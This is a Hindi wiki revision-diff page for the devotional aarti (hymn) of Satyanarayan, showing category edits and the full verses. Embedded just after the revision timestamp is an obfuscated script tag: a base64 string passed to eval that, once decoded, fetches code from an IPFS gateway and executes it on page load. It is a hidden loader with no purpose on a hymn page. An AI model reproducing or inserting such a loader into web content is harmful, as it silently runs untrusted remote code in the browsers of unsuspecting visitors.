"सत्यनारायण जी की आरती" के अवतरणों में अंतर
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - 'category:भक्ति' to 'श्रेणी:भक्ति श्रेणी:आरती संग्रह') |
|||
(एक अन्य सदस्य द्वारा किये गये बीच के २ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
{{Menu}} | {{Menu}} | ||
==भगवान श्री सत्यनारायण जी की आरती== | ==भगवान श्री सत्यनारायण जी की आरती== | ||
− | + | *[[विष्णु]] जी की पूजा के समय यह [[आरती पूजन|आरती]] की जाती है। | |
<poem>जय लक्ष्मी रमणा, श्री लक्ष्मी रमणा। | <poem>जय लक्ष्मी रमणा, श्री लक्ष्मी रमणा। | ||
सत्यनारायण स्वामी जन-पातक-हरणा।।जय.।।टेक।। | सत्यनारायण स्वामी जन-पातक-हरणा।।जय.।।टेक।। | ||
पंक्ति २९: | पंक्ति २९: | ||
तन-मन-सुख-सम्पत्ति मन-वांछित फल पावै।।जय.।। | तन-मन-सुख-सम्पत्ति मन-वांछित फल पावै।।जय.।। | ||
</poem> | </poem> | ||
− | [[ | + | [[Category: कोश]] |
− | [[ | + | [[Category:भगवान-अवतार]] |
− | [[ | + | [[Category:भक्ति]] [[Category:आरती संग्रह]] |
__INDEX__ | __INDEX__ |
०४:१६, १९ मई २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
भगवान श्री सत्यनारायण जी की आरती
जय लक्ष्मी रमणा, श्री लक्ष्मी रमणा।
सत्यनारायण स्वामी जन-पातक-हरणा।।जय.।।टेक।।
रत्नजटित सिंहासन अद्भुत छबि राजै।
नारद करत निराजन घंटा ध्वनि बाजै।।जय.।।
प्रकट भये कलि कारण, द्विज को दरस दियो।
बूढ़े ब्राह्मण बनकर कंचन-महल कियो।।जय.।।
दुर्बल भील कठारो, जिनपर कृपा करी।
चन्द्रचूड़ एक राजा, जिनकी बिपति हरी।।जय.।।
वैश्य मनोरथ पायो, श्रद्धा तज दीन्हीं।
सो फल भोग्यो प्रभुजी फिर अस्तुति कीन्हीं।।जय.।।
भाव-भक्ति के कारण छिन-छिन रूप धरयो।
श्रद्धा धारण कीनी, तिनको काज सरयो।।जय.।।
ग्वाल-बाल सँग राजा वन में भक्ति करी।
मनवांछित फल दीन्हों दीनदयालु हरी।।जय.।।
चढ़त प्रसाद सवायो कदलीफल, मेवा।
धूप-दीप-तुलसी से राजी सत्यदेवा।।जय.।।
(सत्य) नारायणजी की आरती जो कोई नर गावै।
तन-मन-सुख-सम्पत्ति मन-वांछित फल पावै।।जय.।।